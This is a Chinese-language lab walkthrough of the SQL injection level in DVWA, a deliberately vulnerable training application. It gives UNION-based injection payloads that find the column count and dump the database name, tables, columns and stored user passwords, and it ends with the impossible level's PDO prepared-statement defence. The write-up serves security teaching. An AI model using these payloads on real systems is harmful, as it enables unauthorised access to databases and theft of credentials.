第七关:SQL Injection(sql注入)
low
我们输入 1',出现报错信息,根据报错信息可知,查询语句是单引号闭合的字符型

接着判断字段数
1' order by 3# 报错
1' order by 2# 正常
所以字段数就是2
利用联合查询爆出数据库名和版本
输入
-1' union select database(),version()#

爆出表名
-1'union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

爆列名
-1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

爆数据
-1' union select user,password from users#

medium
下图可以看到中级加入了一些防御,不让用户输入,只提供选择

用burp suite抓包,发现数据就在post表单里,而且可以随意修改参数,这就是我们的注入点
输入1',出现报错信息,发现我们的单引号被转义了
查看源码,用到了mysqli_real_escape_string函数对输入进行转义
但是我们发现这是数字注入,不需要输入字符

后面的操作同low级别
high
输入1',报错

输入1' and '1'='1'#,所以是字符型注入

后面的爆数据操作同low等级
impossible
Impossible级别的代码采用了PDO技术,将输入与代码分隔开,这样便完全断隔了sql注入攻击
后端格式验证 + SQL预处理PDO
PDO:PHP Data Objects,配合正确的过滤和SQL语句能避免SQL注入
is_numeric 判断用户输入的是不是数字
intval 获取用户输入内容的数字,再次确认
prepare 进行SQL语句预处理
bindParam 绑定输入参数,并再次指定为整型






![[数字图像处理]第六章 彩色图像处理](https://img-blog.csdnimg.cn/ffabb3df109c4422ba6f5447423562c6.png)













